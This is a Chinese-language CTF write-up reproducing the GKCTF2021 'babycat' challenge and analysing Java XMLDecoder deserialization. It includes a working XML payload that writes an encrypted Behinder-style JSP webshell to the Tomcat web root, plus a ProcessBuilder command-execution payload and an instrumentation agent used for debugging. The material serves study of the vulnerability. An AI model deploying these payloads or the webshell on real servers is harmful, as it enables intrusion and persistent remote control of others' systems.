摘要:GKCTF2021 babycat复现+XMLDecoder反序列化学习的简单记录。
0x01 赛题复现
复现平台为BUUOJ,简略写一下过程。
1、上来是个登录框,弹框说不允许。尝试注入,弹框”username or password error”,布尔和时间都无果。F12注意到js逻辑中有注册逻辑,路由为/register,抓包构造数据包注册成功。
2、DownloadTest存在任意文件下载,常规操作直接读Web.xml后读*.class,然后JD-GUI反编译。

3、上传处要求admin,审计源码发现正则过滤以及权限赋值逻辑。


用两个tricks绕过:
- 内联注入绕过正则
- 二次json赋值置role为admin

4、审计上传逻辑,有白名单,无法直接传jsp。而后发现本题用xml文件记录用户数据,并在baseDao处发现XMLDecoder,文件可被上传覆盖,直接上传一个恶意xml,然后重新注册一个逻辑触发该漏洞即可。无法回显,使用PrintWriter写shell,PoC如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_192" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string> <void method="println"> <string> <![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]> </string> </void> <void method="close"/> </object> </java>
|
5、冰蝎上号,命令执行完事。
0x02 XMLDecoder反序列化分析
同XMLDecoder相关的洞是Weblogic有:
- CVE-2017-3506
- CVE-2017-10271
- CVE-2019-2725
本文单对XMLDecoder的执行流程做一个分析。
本地复现
先写个命令执行的恶意xml弹个计算器(这个简单的,看这篇文章的读者建议不要看我下面贴出来的代码,而是先自己按照其他详细复现教程复现一遍再看后面的分析):
P.S 这里我用Java agent的attach方式监听了com.sun.beans.decoder.DocumentHandler,至于为什么它后面有解释。
1 2 3 4 5 6 7 8 9 10
| <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1" > <void index="0"> <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string> </void> </array> <void method="start"/> </object> </java>
|
含XMLDecoder的处理类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package top.hn13;
import com.sun.tools.attach.*;
import java.beans.XMLDecoder; import java.io.*; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.List; import java.util.concurrent.TimeUnit;
public class Main { public static void main(String[] args) throws InterruptedException, IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine attach = null; List<VirtualMachineDescriptor> list = VirtualMachine.list();
String path = "calc.xml"; File file = new File(path); FileInputStream fis = null; try { fis = new FileInputStream(file); } catch (FileNotFoundException e) { e.printStackTrace(); }
BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder xmlDecoder = new XMLDecoder(bis);
for(VirtualMachineDescriptor vir : list){ if(vir.displayName().endsWith("top.hn13.Main")){ System.out.println(vir.id()); attach = VirtualMachine.attach(vir.id()); attach.loadAgent("/Users/hn13/agentTest.jar"); } } xmlDecoder.readObject(); xmlDecoder.close();
attach.detach();
} }
|
中间拿之前写的agent稍微改了改来hook XMLDecoder的核心处理类DocumentHandler里的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package top.hn13.agent;
import javassist.*;
import java.io.ByteArrayInputStream; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; import java.util.Objects;
enum MethodName{ startDocument, startElement, endElement }
public class TraceAgent { private static final String HOOK_CLASS = "com.sun.beans.decoder.DocumentHandler";
public static void premain(String args, final Instrumentation inst){ loadAgent(args, inst); }
public static void agentmain(String args, final Instrumentation inst){ loadAgent(args, inst); }
private static void loadAgent(String arg, final Instrumentation inst){ ClassFileTransformer classFileTransformer = createClassFileTransformer();
inst.addTransformer(classFileTransformer, true);
Class[] loadedClass = inst.getAllLoadedClasses();
for (Class clazz : loadedClass){ String className = clazz.getName(); if(inst.isModifiableClass(clazz)){ if(className.equals(HOOK_CLASS)){ System.out.println("ClassName: " + className); System.out.println("That's ok!"); try{ inst.retransformClasses(clazz); }catch(UnmodifiableClassException e){ e.printStackTrace(); } } } }
}
private static ClassFileTransformer createClassFileTransformer(){ return new ClassFileTransformer() { public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/", ".");
if(className.equals(HOOK_CLASS)){ ClassPool classPool = ClassPool.getDefault(); try { CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
for(MethodName methodName : MethodName.values()){ CtMethod method = ctClass.getDeclaredMethod(methodName.toString()); if(Objects.equals(methodName.toString(), "startDocument")) { method.insertBefore("System.out.println(\"Calling method \"+\"" + methodName.toString() + " \");"); }else if(Objects.equals(methodName.toString(), "startElement")){ method.insertBefore("System.out.println(\"Calling method \"+\""+methodName.toString()+" <\" + $3 + \">\");"); }else{ method.insertBefore("System.out.println(\"Calling method \"+\""+methodName.toString()+" </\" + $3 + \">\");"); } }
classfileBuffer = ctClass.toBytecode();
} catch (IOException e) { e.printStackTrace(); } catch (NotFoundException e) { e.printStackTrace(); } catch (CannotCompileException e) { e.printStackTrace(); }
} return classfileBuffer; } }; } }
|

Simple API for XML(SAX)
Java有SAX和DOM两种原生的解析XML方案,XMLDecoder采用的为SAX方案。
对SAX需要知道这三点:
startDocument()
startElement()
characters()
endElement()
endDocument()
- 可以自定义SAX解析,核心在于需要自己实现Handler,核心伪代码如下:
1 2 3 4 5 6
| SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); SAXParser parser = saxParserFactory.newSAXParser(); OwnHandler handler = new OwnHandler(); String path = "evil.xml"; File file = new File(path); parser.parse(file, handler);
|
调试
现在ProcessBuilder#start()处下断点拿到调用栈:

注意到倒数第六行,DocumentHandler,点进去:
所以我们直接跟踪DocumentHandler便可。
然后在
startDocument()
startElement()
characters()
endElement()
endDocument()
这几处下断点便可以进行调试了,具体解析调试过程不贴图了,感兴趣的读者自己调试一遍更为清晰。直接跳到触发处:


Expression对象调用start直接命令执行。